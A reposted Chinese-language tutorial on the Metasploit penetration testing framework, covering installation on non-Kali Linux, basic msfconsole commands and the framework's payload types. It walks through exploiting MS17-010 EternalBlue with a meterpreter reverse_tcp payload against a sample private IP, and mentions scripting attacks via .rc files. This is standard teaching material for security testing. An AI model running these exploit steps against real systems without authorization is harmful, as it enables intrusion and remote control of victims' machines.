Metasploit渗透测试工具使用

news2024/11/15 6:32:22

Metasploit Framework(MSF) 是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持 续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可 以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用 Ruby语言编写的了。在kali中,自带了Metasploit工具。

安装Metasploit

在一般的linux中,默认是不安装MSF的。以下是在非kali的Linux下安装MSF框架。

一键安装

curl https://raw.githubusercontent.com/rapid7/metasploit- omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >

msfinstall && chmod 755 msfinstall && ./msfinstall

adduser msf           #添加msf用户

su msf               #切换到msf用户

cd /opt/metasploit-framework/bin   #切换到msf所在的目录

./msfconsole         #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使 用root用户启动的话,不会同步数据库 也可以将msfconsole加入到执行目录下,这样在任何目录直接 msfconsole就可以了

ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole#备注: #初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需 要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。

使用方法:

进入框架:msfconsole

使用search命令查找相关漏洞: search ms17-010

使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue

使用info查看模块信息: info 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

查看模块需要配置的参数:show options

设置参数:set RHOST 192.168.125.138 攻击:exploit / run

后渗透阶段

不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。

我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令 msfconsole -r configure.rc 进行自动攻击

漏洞利用(exploit)

漏洞利用exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。

exploit漏洞利用模块路径:/usr/share/metasploit-framework/modules/exploits

这里面有针对不同平台的 exploit 。 我们现在就进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用

我们进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞 利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。

攻击载荷(payload)

payload模块路径:/usr/share/metasploit-framework/modules/payloads

Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一 种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之, 这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Shellcode :Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。 Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令 之后,才会提 供一个命令行shell。 Metasploit中的 Payload 模块主要有以下三种类型:

Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统 用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似 netcat 这样 的非metasploit处理工具所捕捉到

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。 一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目 标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp 监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有 大小限制。

在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:

Single Payload的格式为:/ 如:windows/powershell_bind_tcp

Stager/Stage Payload的格式为:/ / 如:

windows/meterpreter/reverse_tcp

当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表: 在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload

而 windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成

Stager中几种常见的payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1711952.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Steamdeck使用Windows系统游玩雪地奔驰时闪退问题解决方法

我非常喜欢雪地奔驰这款游戏,买sd的一部分也是为了它。可在我打开这个游戏时,游戏发生闪退问题。查阅了网络各个途径,基本没有解决方法。因此我自己分析终于解决该问题。以下是我解决问题的思路,仅供记录参考: 游戏在崩…

uniapp - 填充页面

在上一篇文章中,创建了一个空白的文章模块页面。在这一篇文章,让我们来向页面中填充内容。 目录 页面效果涉及uniapp组件1.view2.swiper3.scroll-view4.属性解读1) class"style1 style2 .."2) circular单属性无赋值3) :autoplay"autoplay…

大型跨境商城系统平台的技术架构分析

随着全球化的深入发展,大型跨境电商平台在如今的商业环境中扮演着越来越重要的角色。这些平台不仅仅是为了提供商品和服务,它们更是连接不同国家和地区消费者与供应商之间的桥梁。在这篇博客中,我们将深入探讨大型跨境商城系统平台的技术架构…

目标检测——家庭日常用品数据集

引言 亲爱的读者们,您是否在寻找某个特定的数据集,用于研究或项目实践?欢迎您在评论区留言,或者通过公众号私信告诉我,您想要的数据集的类型主题。小编会竭尽全力为您寻找,并在找到后第一时间与您分享。 …

7 Series FPGAs Integrated Block for PCI Express IP核设计中的物理层控制核状态接口

物理层控制和状态允许用户应用程序根据数据吞吐量和电源需求来更改链路的宽度和速度。 1 Design Considerations for a Directed Link Change 在Directed Link Change(定向链接更改)期间需要注意的事项有: 链接更改操作(Link c…

加氢站压缩液驱比例泵放大器

加氢站压缩液驱液压系统的要求是实现换向和速度控制,对液压动力机构而言,按原理可区分为开式(阀控)- 节流控制系统和闭式(泵控)- 容积控制系统: 阀控系统 – 节流调速系统:由BEUEC比…

dp秒杀优惠券

1、全局id生成器 当用户抢购时,就会生成订单并保存到tb_voucher_order这张表中,而订单表如果使用数据库自增ID就存在一些问题: id的规律性太明显受单表数据量的限制 场景分析:如果我们的id具有太明显的规则,用户或者…

【机器学习】解锁AI密码:神经网络算法详解与前沿探索

👀传送门👀 🔍引言🍀神经网络的基本原理🚀神经网络的结构📕神经网络的训练过程🚆神经网络的应用实例💖未来发展趋势💖结语 🔍引言 随着人工智能技术的飞速发…

设计模式六大原则之依赖倒置原则

文章目录 概念逻辑关系 小结 概念 依赖倒置原则指在设计代码架构时,高层模块不应该依赖底层模块,二者都应该依赖抽象。抽象不应该依赖于细节,细节应该依赖于抽象。 逻辑关系 如上图所示,逻辑应该就是这样,高层依赖于…

深度学习-语言模型

深度学习-语言模型 统计语言模型神经网络语言模型语言模型的应用序列模型(Sequence Model)语言模型(Language Model)序列模型和语言模型的区别 语言模型(Language Model)是自然语言处理(NLP&…

web自动化-数据驱动与失败用例截图、失败重新运行

因为只有失败的用例需要截图,那么问题就是: 什么时候用例会失败? 数据驱动测试 我们前面覆盖到的用例都是正常的用例,如果要测试异常的用例呢? 我们来写一下登录的异常 场景:【login_page】 # 用户输入框…

Adobe AntiCC 简化版 安装教程

Adobe AntiCC 简化版 安装教程 原文地址:https://blog.csdn.net/weixin_48311847/article/details/139277743

opencascade V3d_RectangularGrid 源码学习

类V3d_RectangularGrid V3d_RectangularGrid() V3d_RectangularGrid::V3d_RectangularGrid(const V3d_ViewerPointer &aViewer, const Quantity_Color &aColor, const Quantity_Color &aTenthColor) // 构造函数 ◆ ~V3d_RectangularGrid() virtual V3d_Rectang…

华为诺亚等发布MagicDrive3D:自动驾驶街景中任意视图渲染的可控3D生成

文章链接:https://arxiv.org/pdf/2405.14475 项目链接:https://flymin.github.io/magicdrive3d 虽然可控生成模型在图像和视频方面取得了显著成功,但在自动驾驶等无限场景中,高质量的3D场景生成模型仍然发展不足,主…

NDIS小端口驱动开发(三)

微型端口驱动程序处理来自过度驱动程序的发送请求,并发出接收指示。 在单个函数调用中,NDIS 微型端口驱动程序可以指示具有多个接收 NET_BUFFER_LIST 结构的链接列表。 微型端口驱动程序可以处理对每个NET_BUFFER_LIST结构上具有多个 NET_BUFFER 结构的多…

树莓派部署harbor_arm64

文章目录 树莓派4b部署Harbor-arm64版本docker-compose维护命令访问harbor 192.168.1.111认用户名密码admin/Harbor12345 树莓派4b部署Harbor-arm64版本 harbor-arm版本 部署:参考 wget https://github.com/hzliangbin/harbor-arm64/releases/download/v1.9.3/ha…

NFS p.1 服务器的部署以及客户端与服务端的远程挂载

目录 介绍 应用 NFS的工作原理 NFS的使用 步骤 1、两台机子 2、安装 3、配置文件 4、实验 服务端 准备 启动服务: 客户端 准备 步骤 介绍 NFS(Network File System,网络文件系统)是一种古老的用于在UNIX/Linux主…

redis数据类型之string,list

华子目录 key操作说明SCAN cursor [MATCH pattern] [COUNT count]dump与restorekeys 通配符 示例演示 string说明setbit key offset valuegetbit key offsetsetrange key offset value List结构图相关命令lrem key count valueltrim key count value示例:使用 LTRIM…

Blazor入门-svg绘制-碰撞检测和图形坐标调整

上一篇: Blazor入门-简单svg绘制导出图像_blazor 画图-CSDN博客 https://blog.csdn.net/pxy7896/article/details/139003443 注意:本文只给出思路和框架,对于具体的计算细节,考虑到日后会写入软件著作权和专利文书,因…

被追着问UUID和自增ID做主键哪个好,为什么?

之前无意间看到群友讨论到用什么做主键比较好 其实 UUID 和自增主键 ID 是常用于数据库主键的两种方式,各自具有独特的优缺点。 UUID UUID 是一个由 128 位组成的唯一标识符,通常以字符串形式表示。它可以通过不同的算法生成,例如基于时间…